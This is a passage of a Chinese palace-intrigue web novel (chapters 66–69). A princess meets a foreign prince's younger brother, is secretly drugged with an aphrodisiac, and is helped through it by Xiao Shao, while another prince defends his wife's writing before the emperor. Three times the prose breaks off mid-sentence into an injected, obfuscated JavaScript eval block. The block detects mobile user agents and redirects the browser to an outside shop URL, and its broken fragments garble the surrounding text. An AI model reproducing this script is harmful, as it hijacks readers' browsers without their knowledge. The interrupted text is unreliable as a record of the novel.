姜瑶说完,二人心里登时翻起惊涛骇浪。祝回雪记起,早先就听虞静延提起过吴王的人在暗中调查陇西,许是查出些许端倪后便向关家通了气。关家想抓姜家的罪名,竟为构陷无所不用其极,直接给姜家安上了一顶伙同西戎通敌叛国的帽子! 母族变故突起,倘若罪名一朝落实,迎接他们的将是灭顶之灾。虞静央顾不上再为南江人的事忧心,心中思考着对策,一边敏锐地留意到姜瑶复述时口中提到的那个名字——黄三。 刚刚回到玉京的时候,她托林岳青抓住黄三,一是因为怀疑他与昔日的下毒案有关联,二是怀疑他留在姜家的心思不纯。毕竟赵嬷嬷曾是他的相好,早在五年前就背叛姜家被处死,他本是一介屠夫,却在赵嬷嬷死后蹊跷地成了姜家的下属。后来没有供出有用的东西,她没有办法把一个无罪的人强行扣下,最后只有放人离开。而今日,她却又得知黄三在姜家手下怀有二心,与暗处的人同流合污。 那个高彭说不知接头人的来历,虞静央却觉得事情没有这么简单,至少在黄三身上,她隐约看见了破绽。 姜瑶没有注意虞静央的神情,道:“高彭他们与人偷矿牟利,此事我不怀疑,可姜家绝不会与西戎勾结的!我担心关家会捏造事实,向我们泼脏水……” “关渭向陛下告发了姜家,却没有在朝中广而告之,明显是陛下的意思,想必陛下也只是存有疑心,而没有尽信。好在舅父已经及时揪出内奸,让一切回到正轨,姜家还有很多机会。” 祝回雪拍拍她手,安抚道,“你放心,你表哥还在朝中,绝不会叫人平白诬告陷害了自己的舅家。” 在她的安慰下,姜瑶的心焦有所缓和,但依旧不可避免地感到不安。她叹了口气,心中开始后悔起来,现下南江人来了,央姐姐本就难以心安,自己不该把这些事说出来让她徒增烦恼的。 “央姐姐,你已经称病许久,可‘病’总有好的一天,到了那时,你该怎么办呢?”姜瑶忧心忡忡。 听她提起此事,虞静央眸色微微一沉。是啊,帝王的怜惜,今日降临在她头上,也许明日便会消失不见,她受父皇允准称病不露面,可南江人不会短短几日便离开,如此,终究不是长久之计。 虞静央眸中郁色渐渐消退,道:“别担心,船到桥头自然直。父皇何时下令,我便何时去见他们。” 一味龟缩在这一隅之地,只会让人以为她胆怯。再过几日,她也是时候去会一会郁沧了。 66. 相见 与虞静央想的一样,几日过后,她基本“病愈”,皇宫便下来了命令,安排她与南江储君郁沧正式相见,许是考虑到宫中拘束,影响两人正常交谈,天子还“善解人意”地将地点定在了她的公主府。 面对前来知会的乾安宫宫人,虞静央平静地答应了,心底澄明如镜。不论愧疚还是伤怀,自己的父皇还是希望她能重回南江,如此,大齐便不必承担半分陷入动荡的风险,还能得到因盟约而来的丰厚利益。 若放在以前,她还能用“这是公主应尽的责任”的理由说服自己,可到现在——尤其是在清楚知晓南江王室有多么肮脏不堪,以及南江连年对大齐的不公平压迫之后,她只会告诉自己:人不为己,天诛地灭。 当日清晨,晚棠为虞静央梳妆,镜中,女子面容白皙莹润,一双杏眼清透有神,早就不似从前历经苦难时那般消瘦,也全无病弱的憔悴之相。 她留在玉京半年有余,身子亏损的基本都被补了回来,自然看起来姿容盛极。晚棠犹豫着如何为她装扮,后者定定望着镜子,道:“不必从简,今日盛装。” 她与郁沧是谈判,而非叙旧谈情,不需要惹人怜惜的柔弱。 虞静央从妆奁里挑出两支红宝石鎏金凤钗,又亲手为自己上妆。细腻的脂粉扑在脸上,愈发显得她皮肤胜雪欺霜,连最后一丝倦容也被抹去,胭脂花钿与精细的发髻簪钗相映,闪着熠熠华光,银朱色的锦衣薄氅,更衬得她明艳不可方物,显露出不容侵犯的公主威仪。 “殿下,宫中来人了。” 门外传来侍女的通报,虞静央已然妆毕,走出房门,见皇宫御膳司的太监总管候在院中,身后跟着几个宫人,拎着大大小小几个精致的食盒。 看见虞静央出来,太监总管上前行礼,笑意谄媚:“给三殿下请安。陛下特意吩咐赐下御膳,让老奴来送一趟,愿殿下与南江储君相见圆满。” “替本宫谢过父皇。”虞静央面上不显,让人塞了荷包过去,太监总管脸上堆笑更真切了几分,躬身道:“多谢殿下,那老奴就先告辞了。” 一行人退出府邸,府上侍女打开那些食盒,把装在里面的御膳小心取出摆在桌案上,一眼看去琳琅满目,有酒有肉,当真是色香味俱全。 不难看出,父皇颇为重视此次她与郁沧的见面,若见后相谈愉快,会让他好办许多。不过,负责这桌饭菜的御膳司,受的是后宫管辖。 虞静央缓缓扫过满桌精致的菜色,屏退了其他人,吩咐晚棠:“去萧府报信,午膳时分,让他来后院见我。” 以防万一,倘若出事,她要有一个能够证明她无辜的证人。他上次说过,想加入这场牌局,既然他想,那就如他所愿。 …… 约莫过了一炷香的功夫,门前侍卫进来禀报:“殿下,四方馆的车驾到了。” 来了。 虞静央心中微沉,片刻后,府门大开,南江装束的侍卫涌进外院,整齐立在两侧,为来人让出一条宽阔的通道。虞静央手指握紧,盯着人群尽头的位置,却见一个身着浅蓝色锦袍的清瘦少年走了出来,面容青涩,远远看见她,露出个腼腆含怯的笑。 郁泽? 他身后再无旁人,虞静央一愣,眸中情绪顿时被意外取代:“九王弟,怎么是你?” “见过王嫂,我……” 郁泽作为南江九王子,此次跟随郁沧出使,同在使臣之列。他站在原地,不知想到什么,面露难色,支支吾吾地道:“望王嫂莫怪,王兄今早起来身体不适,便由臣弟代为前来,待到大好,王兄定会来见王嫂的。” 昨日皇宫来的消息传到四方馆,邀南江储君次日同宣城公主相见。众使臣得知后皆精神一振,以为齐国皇帝已然松口,修复盟约之事将有进展,唯有郁沧坐在圈椅上不动如山,不仅不见喜色,还神情阴沉。 郁泽见状惴惴不安,问道:“王兄,明日就能见到王嫂了,你不高兴吗?” 他问完,众臣也先后注意到储君脸色的异样,讨论之声渐弱。郁沧眸中阴鸷,冷笑一声:“高兴?孤先后几次前去,都被她拒之门外,丢尽了脸面。堂堂一国储君,如今却沦落到此等境地,连见自己的女人都要先经过同意。” 老臣劝说道:“起初本就是我南江没理在先,战乱时遗忘了储妃,齐国皇帝怜惜女儿,姿态摆高一点也是人之常情,好在现下终于松口。为了盟约,殿下便委屈几日……” 郁沧豁然起身,厉声道:“齐国扔在地上施舍的东西,你们想要孤跪下去捡?不可能!她不是喜欢摆架子吗,明日你们谁愿意去,谁就自己去吧!” 如此重要的大事,他竟拒绝出面,一众臣子岂能答应?纷纷跪地劝谏:“殿下三思!莫要为了一时意气耽误了国家大事啊!” 奈何腿长在郁沧自己身上,他又是储君,只要他不愿,没有人能强制逼迫他。众臣心急如焚,偏偏又无可奈何,郁沧面无表情,扫了一眼身边站着的人:“九弟。” 郁泽原本低着头,现下一个激灵,忙应道:“王兄。” “你每日留在住处守着,想必也是无聊。”郁沧勾起唇角,眸中却没有笑意,表面是商量,实则根本没有给他留下拒绝的余地,“明日去公主府的事,就劳你奔波一趟吧。” …… 少年姿态怯怯,还是以往那般模样,一眼便能让人看出是在扯谎,见他目光躲闪,虞静央便大约明白了事情原委。 是了,郁沧那种人面子比天大,就算南江情势危急,他被手下臣子催得再紧,也是不肯甘心听从大齐的安排的,今日派郁泽前来,应该已经是万般妥协过的结果了。 郁泽从侍从手里接过锦盒,说道:“近日齐国天气转凉,这是我的一点心意,望王嫂注意身子。” “多谢。”虞静央命人接过,这方木盒看上去并不华丽,打开盒盖,里面放着一条品质不错的白狐皮风领。 郁泽虽为王子,但在南江王庭不受重视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683226|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子也并不好过,这条风领,恐怕已经是他能拿出手的最好的东西了。 “九王弟,你有心了。”虞静央心中一暖。 身在南江的五年,她经历了许多苦难,能让她真正感受到几分善意的,也就唯有这位单纯的九王子了。酷热难耐的时候,他偷偷给她送过消暑的药方,还曾在她受人欺凌的时候顶着压力出面解围。 “王嫂喜欢就好。”郁泽冲她笑,因为顾忌跟着的眼线,所以不敢多说什么,向她行礼告辞,“既然已经见到王嫂安然无恙,臣弟就先告退了。” 虞静央心知他因何为难,含笑道:“不急,午膳已经备好,你若走了,我独自也吃不完。” “这……”郁泽听后面露踌躇,不知该怎么办,虞静央不动声色扫了一眼他身后的众多下人,抬高声音道:“本宫与九王子说话,不喜有这么多人,你们都退下吧。” 那些人是郁沧和使□□来监视郁泽的,听后自然不乐意,可惜没等他们有所异议,负责看守公主府的侍卫已经拥了上去,把人全都挡在了门外。 四下安静,没有了闲杂人等,只剩下自己的心腹。虞静央露出个笑,对郁泽说:“九王弟,进去坐吧。” “是。”郁泽回头望了望关上的大门,犹豫半晌后,终于还是选择不再理会那些人,跟着虞静央进了正堂。 满桌御膳一直由人看守着,因为放置的时间不长,所以依旧是温热的。两人隔着桌案面对面坐下,下人上前为主子斟满热酒,随后悉数退下。 丰盛的饭菜面前,郁泽显得有些拘谨,问道:“这几个月,王嫂过得好不好?” 只是刚说完,他就感到后悔了,心说自己这番话问得多余。齐国是王嫂的故乡,她是一国公主,怎会被人欺负?且看王嫂现在光彩照人的状态,就知她在这里比南江的日子不知好了多少倍。 他们南江,真的很愧对王嫂。 这般想着,郁泽低下了头,虞静央眸光不禁柔和了几分,回道:“劳九王弟挂心,本宫很好。” 郁泽点点头,是真心为她高兴的,半晌想起“正事”,脸上的笑便僵了僵。 “王嫂,其实我这次过来,是王兄让我来带话的……” 看着眼前的一道道珍馐,郁泽却没有胃口,回想起记忆中那些并不好听的威胁之语,思量再三,还是打算自行加工后再说出来,“王兄很想念王嫂,只是不习惯低头,才总是说一些伤人的话……大家也都很希望你能回来。” 虞静央静静听着,心中非但没有动摇,还生出了讥讽。不管是郁沧,还是南江的其他人,他们并非舍不得她,只是放不下她身后的齐国,不肯割舍如此一桩稳固的盟约,放眼整个南江王庭,真正对她抱有几分真心的,也就只有郁泽一人了。 她没把郁泽的话放在心上,亦没有同他辩解什么。毕竟再怎么样,郁泽都是南江的王子,始终会向着自己的国家,他们之间立场不同,也就不必非要争出个什么是非黑白。 67. 情药 “不必说了,九王弟。” 提起郁沧,既然已经撕破脸皮,虞静央便没有想着再顾忌什么,“像郁沧那样的人,何止是‘不习惯低头’那样简单,在他眼里,不论是自己的妻妾还是手足,都与一个物件没有差别。我是大齐人,本就不属于南江,倘若遭逢苦难,自然要想方设法地逃离。” 她望着郁泽,见他脸色发白,像被戳中了心事,不过也无可厚非,因为这些年郁沧待他的态度就是如此,心情好时给个好脸色,心情不好时便动辄斥骂羞辱,迁怒于他。如果不是郁泽性情软弱,又胸无城府,恐怕也会像其他王子那样卷入党争倾轧,连尸骨都被嚼得粉粹。 虞静央在南江的处境之艰,郁泽比任何人都要清楚。他内疚不已,低声道:“的确,这些年,南江让王嫂受苦了。” 虞静央没有责怪他,而是问:“九王弟与我同病相怜,就没有想过扭转这种境地吗?” 扭转这种境地……可他生在南江,长在南江,又能逃向哪里去? 没有一个人会心甘情愿受人欺凌,郁泽自知没有办法,但听到有人这么说,还是会不由自主地心动。他抬起头,迟疑道:“王嫂的意思是……” 虞静央看着他怯生生的面庞,缓缓道:“郁沧自大无谋,专横跋扈,若非有个做王后的母亲,怎配储君之位?他们都轻慢你,可你自幼养在王后名下,名义上亦是嫡子,郁沧能拥有的身份、待遇,凭什么你不能拥有?” 郁泽没有想到她的“办法”会是这样,浑身一个激灵,立马制止:“王嫂快别说了!我、我怎么能和王兄比呢?” 在郁泽眼里,郁沧不仅是嫡出的兄长,还是不可忤逆的君主,他高高在上,受所有人的恭敬膜拜,没有人敢对他说一个“不”字。而自己只是个无人在意的透明王子,盛暑难耐时会被内务司忘记送冰,连膳食中被人投了毒都无处申冤,这样的他,拿什么去动摇王兄的地位? 郁泽被如此大胆的话语冲击得缓不过神,忙咽了咽口水,保证道:“王嫂,你放心,今日说过的话我会烂在肚子里,绝不会告诉王兄的。” 瞧他瑟缩的模样,是不该这样操之过急。虞静央无奈,道:“也罢。” 只这一会儿说话的功夫,角落的窗牖外隐约划过一道人影。虞静央有所觉,不动声色地用余光扫了一眼,果然看见有一角衣袍从窗缝处悄然拂过。 她心下了然,却没有打草惊蛇,悠悠收回了目光。 桌上佳肴虽精致,但两人各怀心事,不约而同地一口未动,只是面对面小坐片刻。临走前,郁泽端起酒盏,对虞静央道:“这杯酒我敬王嫂。就算日后无缘再做一家人,我也希望王嫂一切安好。” 今日已然言深,这杯酒无论如何都不该再推辞。盏中酒液澄澈如水,虞静央目光温和,终是拿了起来,也向他举杯。 送走了郁泽,那群跟来的南江人也随之离开。回到正堂,虞静央照旧吩咐众人退下,等到四下清静,才不紧不慢走到窗前。 推开窗棂,萧绍果然立在外面,双手抱臂倚在窗壁边,就差把“百无聊赖”四个字写在脸上。虞静央先是翘了翘嘴角,很快又放平:“不是让你去后院吗,怎么过来听墙角?” “是你们说话声音太大,非要往我耳朵里钻。” 萧绍挑起眉,把她的兴师问罪挡了回去。这怎么能算听墙角,明明刚到的时候就出了声,她也没有赶他走。 虞静央没打算计较,谁让原本就是自己叫他来的。她默默睨他一眼,正奇怪他为什么来得无声无息,连外面的侍卫都没有发现,下一刻便反应过来:“你翻墙进来的?” 这下萧绍没说话,神情变得有些不自然,随手摘了片身边花坛里的四季青。 如此便是默认了,虞静央感到好笑,眸中荡开一抹悦色。不过这样也好,郁沧没来,南江众人也已经离开,应当不会再出什么岔子,若让人知道他过来,也许还会多生事端。 萧绍向内室瞅了一眼,见里面除了她空无一人,方才出声问:“怎么来的是他?” 这个“他”自然指的是郁泽,萧绍在宫宴上见过,怯怯诺诺的模样,倒是与南江那帮人自视甚高的姿态格格不入。 虞静央摇摇头:“想是郁沧撇不开面子,不肯由着父皇呼来喝去的,便打发了他来。” 萧绍轻嗤,在心里骂了一句“蠢货”。风水轮流转,从前是南江肆意支配大齐,郁沧身为南江储君眼高于顶,但现在调换了个位置,他还妄自尊大,想保护自己那可怜的尊严,那就是不顾大局,难堪大任。 不知南江王庭是有多么卧虎藏龙,才能让如此一位英明睿智的王子稳坐储位多年。 萧绍又向里面望了望,见桌上摆着丰盛的饭菜,但每一盘都放得整整齐齐,看上去一口未动。 “我也还没吃饭。”他道。 虞静央:“宫中御膳司送来的,你敢吃?” 萧绍听后,果然不再说了。前几年宫里就有过妃子意外小产的事,落胎药被人下在膳食里,却查不出是何人所为,最后便不了了之了,这证明有人可以把手伸进御膳司,所以还是不要乱吃的好。 两人就这么藏在窗边说话,但前厅人多眼杂,容易被发现,虞静央挥退众人,悄悄带着他回到了后院。 回到内室,萧绍跟在她身边,让坐哪儿便坐哪儿。虞静央问:“你怎么不问,我为什么要唤你来?” “就算你不说,我也会想办法过来的。”他道。 虞静央迟疑:“为什么?” “……” 没音了。 她一看,见萧绍抿着唇,欲盖弥彰地移开了双眼,似乎想说什么却又说不出口。 虞静央没忍住笑了一下,就准备绕过这个话题,刚想说话,听见他开口了:“借个由头入府,争取搅黄你和他的见面。就算不能,也定要让你们不欢而散。” 萧绍忍过了方才那股窘迫劲,就这么语气平缓地坦诚了。虞静央怔住半晌,但很快就笑出来,心道:如果今日郁沧来了,没有任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699363|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的干预,他们照样也会不欢而散的。 她一边想着,一边打量面前人,发现自从那日画舫的事过后,他倒是没有那么嘴硬了。 这是轻薄人以后自发形成的觉悟? 虞静央心里想着,正想出声说话,忽而感觉体内自下而上涌起一股热流,仿佛火焰烧灼着她的每一寸皮肤,又快速侵占了她的五脏六腑。 这种感觉毫无来由,却又分外强烈,令她惊喘出声,一手扶住了身边的墙壁。萧绍看出她的异样,登时脸色微变:“你怎么了?” 虞静央心下惊疑,立刻想起了那杯回敬郁泽的酒。当时她怕宫中送来的有问题,不仅事先派人一一用银针试过毒,最后也只喝下去半杯,不料还是没能逃过去。最令她没想到的是,等着自己的不是一杯下肚就会药石无医的毒药,而是…… 有人想让她在郁沧面前药性发作,被迫再行夫妻之事,然后封死她留在大齐的余地! “是情药,那杯酒里,我……” 虞静央努力想保持清醒,可药性太强,眼前一阵一阵地模糊。她呼吸急促,第一反应就是把萧绍往外推,手脚却软绵绵的,一时没能平衡便要歪倒,被他稳稳扶住了。 她身子一软,登时栽进了他怀里。 这时候,萧绍也听懂了她断断续续的话语中的意思,先是意外和心惊,继而明白了背后指使者怀着怎样的龌龊心思。 怒火顿时充斥了他的心,但怀中人热得像个火炉一般,又驱使着他的理智回笼。他扶着她坐下,便要出门:“你等着,我出去找郎中……” “不许去!”虞静央强撑着几分残存的意识,紧紧拽住了他的手。今天日子敏感,她前脚才见过南江人,像身中情药这种不光彩的事更不该宣扬出去,免得让人觉得他们纠缠不清;何况萧绍是秘密来见她,就这么堂而皇之地从大门走出去,明日朝堂的弹劾和民间的口水唾沫便要把他们两个给淹了! 萧绍也是一时关心则乱,被她这么一拦便反应过来,不禁暗骂自己没有分寸。虞静央此时顾不上他,面色绯红伏在桌上,有气无力道:“去窗边,叫晚棠来……” 萧绍不敢耽搁,一切皆按照她说的做,之后便站在了屏风外。直到看见几个侍女低首进入净室,却是合力抬着一桶装满冰块的水的时候,他才明白了虞静央的打算,顿时又惊又怒,疾步绕过屏风拦在了她面前:“你不要身子了!” “你离我远点……” 虞静央用力甩开他,愈发感到体内热气蒸腾,那桶冰水仿佛一汪清凉的绿洲,散发着摄人心脾的寒气,吸引着她不断靠近。但萧绍没有中药,现在清醒得不能再清醒,无法眼睁睁看着她拿自己的身体开玩笑,握着她手腕不放,口中不断说着什么“着凉”“风寒”云云,试图说服她放弃这种伤身的办法。 虞静央眸中涣散,现在根本听不进去半个字,只朦朦胧胧看见他嘴唇张合,不经意迷惑着她的心智。 她迟钝地望着,忽然攀住他肩膀,不管不顾贴了上去。 68. 贪念 湿热的气息骤然靠近,如花瓣般柔软的触感落在萧绍的侧颈,酥酥麻麻蔓延到全身。他猝不及防,登时乱了呼吸,低头却见她上瘾般眯着眼,秀挺的鼻梁在他衣襟上缱绻地蹭着,虽然轻缓,却十分磨人,要是忽略她红得病态的双颊,还真像一只怠懒挠痒的猫。 第一次面临这种事情,饶是萧绍再镇定,此刻也不可避免地有些无措。虞静央全然不觉,现在满心想着的只有一件事——泻火。 不知哪里来的力气,虞静央双手推着他向后退,直接抵在了旁边的墙上,仰头贴近,动作迟缓地寻他的唇,无奈眼前发晕找不准位置,最后只碰了碰他唇角。即便只是这样,萧绍依然被折磨得够呛,浑身血液霎时间沸腾起来,惑人的馨香萦绕在鼻间心头,化作牵动心肠的丝线,将他拖进了爱与欲的深渊。 伴随着咚咚的心跳声,他呼吸渐渐变得沉重,目光同她交缠在一起,缱绻难分,终于俯身下去,从心给予了她回应。 如那日在画舫中的情景不同,这次的虞静央格外主动,仿佛抛却了一切矜持和束缚。这份热情让萧绍有些招架不住,险些同她一起沉沦下去,直到感受到有双手扣住了他的腰带,他浑身一震,迷乱的心绪也在这一刻骤然回归清醒。 再这样下去,他们都会后悔的。 萧绍心知如此,忍着急促的吐息退开半步,控制着力道在她滚烫的脸颊上拍了拍:“阿绥,醒醒!” 面前人无知无觉,根本听不见外界的声音,萧绍叫了好几声,最后没有办法,两步走到那桶冰水旁边,捞出几块冰捂在手心。 冰块在滚烫的掌心里缓缓缩小,化作淋漓水液顺着指缝流淌,他咬了咬牙,手覆上她面颊。 突如其来的寒意令虞静央一激灵,先是下意识向后缩了缩,迷蒙的眸子终于重现几分清明,可惜也只是几分,没有达到能让她彻底恢复的地步。 “嗯——”她难耐地嘤咛出声,好像四肢百骸正在被千万只蚂蚁啃噬,止不住的痒。见她如此难受,萧绍心急如焚,哑着声音道:“除了泡冰水,还有没有别的法子能让你好受一点?你告诉我,我去想办法……” 不知是何种药物,明明吃下去不多,药效却格外猛烈,现在她意识迷离,连正常说话都困难,想靠硬捱过去怕是不行。 不泡冰水,不用男人,那就只有…… 虞静央轻喘着气,眉眼已经被汗浸湿,缓缓望向他。 的确,她还有一个办法,最简单的。 …… 一刻钟后,萧绍远远立在屏风外,背对着内室,僵硬得如同脚下生根一般。屏风遮掩了深处的大半风光,床榻边帷帐低掩,女子的身影暧昧又朦胧,滑出鬓发的金簪沿着床头掉下来,发出咚地一声闷响。 习武之人拥有绝佳的听觉,对此时的萧绍来说却成了负担。二人共处一室,虽然离得很远,还隔着一道高大的屏风,深处压抑的轻响却不时传进他耳朵,甚至还能听见衣料被褥在一起细微的磨擦声。 汗滴顺着鬓角划落,萧绍站在靠近门的位置,思绪却被那似有似无的动静完全牵动,呼吸渐渐加重。明明半分都没有看见,眼前却不自主地闪过一些旖旎的画面,他猛地摇了摇头,试图把那些荒唐的东西从脑海中甩出去,终究无济于事,蛰伏在心底的贪念反而愈发浓重了。 随着一声似欢愉似痛苦的低泣飘进耳朵,萧绍吐息急促,几步奔到花几旁边拿起茶壶,灌下去好几口冰凉的茶水,撑着桌案平息许久,才勉强压下身心不断涌起的躁动。 虞静央啊虞静央……你可真是坏透了。 …… 不知过了多久,内室深处终于重归平静。萧绍也逐渐平复,试探性地唤了她两声,没有得到回应。 他绕过屏风,放轻动作掀开帷帐,见虞静央早已睡熟了,脸上异常的红消退下去,只留着淡淡的疲态,原先整齐的发髻散得没了样子,有几缕贴着脸颊,繁复的裙裳尚且裹在身上,和揉成一团的锦被胡乱缠在一起。 入眼处处充斥着凌乱和狼狈,昭示着方才经历了怎样的荒唐。萧绍半跪在榻边,替她拨开遮在脸上的碎发,整理好歪到一边的衣襟,做完这一切后,他静静端详着她的睡颜,后知后觉感到如释重负。 不论怎样,好在现在她已经没事了。 她和那个九王子都喝了酒,却只有她一人中招,可见酒中无药,而是下在了杯盏中。今日是天子下令安排她与南江使臣相见,且不论态度偏向如何,陛下是她的父亲,绝不会用这种下三滥的手段毁自己女儿的名节。宫中与她敌对,又心狠手辣不择手段的人,无非就那几位。 这次是他在这里,倘若他没有来,南江人又没有那么早离开呢?倘若……来的真是郁沧呢? 想到这里,萧绍不禁一阵后怕,眸中戾气无声翻滚,掀开一角被子,把虞静央的手握在手心。 水葱般的指尖白而纤细,他注视须臾,鬼使神差地靠近唇边,轻轻咬了一下。 …… 两人之间发生的事被严严实实封在了公主府,外面无所察觉,仍是一片风平浪静。翌日傍晚,虞静延从皇宫回到王府,穿过长长的外廊踏进正院,看见池塘中碧波清凌,水边石亭里坐着一大一小两个身影,手里一起捧着本书。 “母妃,靖州真的有比人还大的鱼吗?” “当然,如果乐安好奇,长大了可以亲眼去看。” 母女俩说话的声音传来,张栩跟在虞静延身后,见状笑道:“自从王妃坦白了写书的事,小郡主就时常央着王妃要书看,每次看的时候眼睛都在放光,问题多得数不尽,想必也是格外憧憬的。” 虞静延远远站在廊前,眸色变得柔和。她遍览天下,见过许多旁人也许一生都无法看见的奇光异景,又将它们原原本本地化作笔下的文字展现出来,人人读过都会心生向往,就连他看了也会不由自主沉溺其中,何况是乐安这种原本就好奇心旺盛的孩童。 坤宁宫想借题发挥,利用她写作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719901|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事构陷、打击整个晋王府,好在还没等她宣扬出去,就已经被天子封了口。先前的风波,算是平稳过了。 那日朝臣议事,结束后,众人如往常一样退下,虞静延却没有动,直到大臣纷纷离开,他向上首俯身:“儿臣有事要禀。” 像是事先已经得到吩咐一般,宫人悄然下去,关上了殿门。虞帝还坐在御座前,道:“那天在坤宁宫发生的事,皇后都告诉朕了。” 该来的总会来,宫中发生的事不可能瞒过天子的耳朵。虞静延有所准备,撩袍跪了下去。 “儿臣有罪。” “何罪之有?” “儿臣不该一时冲动失礼,为了维护王妃冲撞皇后,如此行事,有违孝道。” 他主动请罪,却只口不提祝回雪写作的事,把罪责揽于己身。虞帝瞧他一眼,道:“为了维护王妃?这样说来,朕似乎不该责怪你,毕竟事出有因,就算要罚,也应该罚祝氏。” 一听要罚祝回雪,虞静延果然抬头:“父皇,她——” 虞帝见状也不再陪他演下去,冷哼道:“你倒是有担当,自己一力揽责,绝口不提祝氏在外著书的事,若朕不明真相,恐怕还真要被你哄骗过去!” 天子语气怨怪,隐有发怒之势,虞静延心中微沉,还是鼓起了勇气,道:“祝氏所为之事清白,儿臣不觉得她有罪。” “那你说,倒是皇后找茬,蓄意开罪你夫妇了?” 如此尖锐的问题,怎样回答都不妥,虞静延没有应声,而是沉吟半晌后,开口念及旧事: “当年母亲在世的时候,姜家的生意有一大半在她名下,酒楼、书肆、胭脂铺,无不经营得风生水起,母亲还常常守在柜台,亲自点银算账。那时父皇大业将成,就将要入主中原,群臣对此有微词,认为母亲身为虞侯夫人不该抛头露面,与一干末流商人为伍,但父皇却不介意,把众臣的意见统统挡了回去。” 斯人已逝,十几年过去,昔日的点点记忆依旧鲜活得如在眼前,虞帝果然微微出神,眸中不自觉流露出怀念之色。 “儿臣斗胆,以为父皇当时百般维护母亲,其中所藏私心,当与儿臣今日相同。” 提起亡母,虞静延亦有所触动,注视着自己的父亲,“儿臣不愿夺人所好,更不忍看自己的妻子因为一个身份无所适从,泯灭生机。” 姜夫人仙逝后,那些生意铺面大多数回归姜家所有,但还有几处留存在皇帝手中,至今仍由心腹悉心打理。他是九五之尊,富有天下四海,不是放不下那点微不足道的百十两营收,而是借那时的事与景色,试图寻觅故人的影子。 倘若那人并未早早离开,他应该依旧会像从前一样护着她,为她扫清路上的一切障碍,而今他的儿子,不过是做着与自己一模一样的事。 虞帝久久沉默着,面庞被案边闪烁的烛火映照得明明灭灭,更叫人难以捉摸,不知过了多久,终是看开般叹了口气。 “罢了,你起来吧。” 69. 洞悉 “谢父皇。” 话音落下,虞静延心头松了松,依言站起身,虞帝叹了一声,道:“既然她想写,那就让她写罢,朕会时常派眼线去那些书肆探查,你们时刻谨慎着,倘若被朕发现错处,你们夫妻两个都要重重地罚。” 他这样说,无非还是担心如关皇后说的那样,有人会借着书籍动手脚,往里面混进一些煽动危害朝局的言论,但虞静延从未如此做过,自然坦坦荡荡。 他心头一块大石彻底落地,不禁感到一暖:“父皇放心,儿臣会仔细检查,绝不令人趁虚而入,今后若要印制新书,也先拿来给父皇过目。” …… 有了天子首肯,任旁人如何反对都无法再置喙,不知虞帝是如何向关皇后说的,隔天一早,坤宁宫便派人送来了赏赐,声称当日之事都是误会。虞静延猜测是虞帝向关家应承了利益作为交换,至于究竟是什么,就不是他能肆意窥探的了。 石亭中,母女两个正专心看着书,满是岁月静好的模样,虞静延没有贸然出现打扰,而是站在廊下静静望了好一阵。直到看见乐安微微仰头打了个哈欠,他才抬起步子,向她们的方向走过去。 祝回雪先看见了他,无奈乐安已经困意上头,迷迷糊糊靠在了自己怀里,她便没能起身。虞静延走进石亭,摸了摸乐安的小脸,女孩还没有完全睡着,但也是真的累了,勉强眯起眼睛看了一眼,喃喃唤了声:“父王……” 现在才什么时辰?这就犯困,想必又是今日和玩伴奔跑打闹得狠了。 见她一副瞌睡虫上身的样子,虞静延不禁翘起嘴角,向一边候着的下人使了个眼色,奶娘会意,忙悄声上前从王妃怀里抱过小主子,同两个侍女一道簇拥着退下了。 亭中没了旁人,虞静延转过身,见祝回雪穿了一袭鹅黄色的绣花薄氅,发髻上装饰着的珠钗也比平日的颜色更亮些,眸中透着光。 天色将黑,湖畔起了风。虞静延目光柔和,帮她重新系紧薄氅上的系绳:“用过晚膳了?” 祝回雪噙笑,点头道:“乐安想吃暖锅,我便让小厨房准备了,近日天气渐凉,正好让她解解馋。” “只怕她吃多了会积食。” “岂会?我都看着呢。” 听她主动念叨,虞静延眸中更多了几分笑意。自从那些误会解开后,她便变得鲜活许多,着实与往日的神采不同了。 想起昨日接到的消息,南江储君不愿听从大齐朝廷安排,到时间却拒绝赴约,转而派了那位随行的九王子过去,如此狂妄,竟是分毫不知客随主便的礼数。 今日议政时应当就会提及此事,祝回雪忧心,道:“这次南江人失礼毁约,实非阿绥之过,也不知陛下是否会迁怒公主府……” “不会。”饶是父皇希望促成盟约,也不会心急到不分是非的地步。虞静延摇了摇头,让她放下心来,“那就好。” 风声愈紧,吹在身上有几分凉意,祝回雪拢了拢披风,想起今日后院的琐事,主动问起:“听闻徐家夫人近日身体抱恙,徐妹妹有些忧心,妾身便许了她明日回徐府一趟,可以吗?” 